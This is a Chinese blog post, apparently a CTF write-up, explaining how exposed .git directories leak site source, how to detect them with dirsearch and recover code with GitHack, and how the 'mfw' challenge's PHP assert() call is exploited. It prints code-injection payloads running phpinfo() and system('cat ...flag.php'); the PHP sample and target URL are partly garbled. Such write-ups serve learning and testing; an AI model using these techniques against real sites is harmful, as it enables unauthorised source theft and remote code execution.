git源码泄露

Git 源码泄露

开发人员会使用 git 进行版本控制,对站点自动部署。但如果配置不当,可能会将 .git 文件夹直接部署到线上环境,这就引起了 git 泄露漏洞,我们可以利用这个漏洞直接获得网页源码。

确定是否存在泄漏

(1)看看有没有提示使用了 Git,如果有就考虑存在。如果没有也可以使用 dirsearch 工具扫描后台,如果存在则会扫描出 .git 目录如图所示。

(2)直接通过网页访问 .git 目录,如果能访问就说明存在。

(3)访问 .git/head 文件,如果能下载也能推断存在 Git 源码泄露。

1.【攻防世界】mfw

页面发现git ,可能存在git注入。

用GitHack扫描,下载源文件。

知识点

GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。

渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞。
python GitHack.py http://61:52016/.147.171.105:52016/.git/
<?php

if (isset($_GET['page'])) {

page = _GET['page'];

} else {

$page = "home";

}

file = "templates/" . page . ".php";

// I heard '..' is dangerous!

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

//相对于过滤了 ..

// TODO: Make this look nice

assert("file_exists('$file')") or die("That file doesn't exist!");

?>

(1)assert:对传入的参数会当作php代码来执行

?page=') or phpinfo();#

file_exists('templates/') or phpinfo();#.php

?page=').system("cat ./templates/flag.php");//

(1)双斜杠相当于注释

找到flag。

CTF-WEB:Git 源码泄露 - 乌漆WhiteMoon - 博客园 (cnblogs.com)

相关推荐
a努力。13 小时前
国家电网Java面试被问:混沌工程在分布式系统中的应用
java·开发语言·数据库·git·mysql·面试·职场和发展
C++ 老炮儿的技术栈17 小时前
C/C++ 中 inline(内联函数)和宏定义(#define)的区别
开发语言·c++·git·算法·机器人·visual studio
Async Cipher20 小时前
Git 安装、配置
git
CoderJia程序员甲1 天前
GitHub 热榜项目 - 日榜(2026-01-24)
git·ai·开源·llm·github
莫问前路漫漫1 天前
Electerm 连接远程服务器完整指南
运维·服务器·git
鸣弦artha1 天前
TabBar标签页组件详解
linux·git·ubuntu
小林up1 天前
Ubuntu访问不了Git解决办法
linux·git·ubuntu
月初,2 天前
Git 常用操作大全(超详细教程)一文教会你完全使用Git
大数据·git·elasticsearch
李少兄2 天前
Git 忽略文件机制:.gitignore 与 .git/info/exclude
java·git·elasticsearch
github.com/starRTC2 天前
Claude Code中英文系列教程17:将Claude Code集成在GitLab工作流里面
git·gitlab·github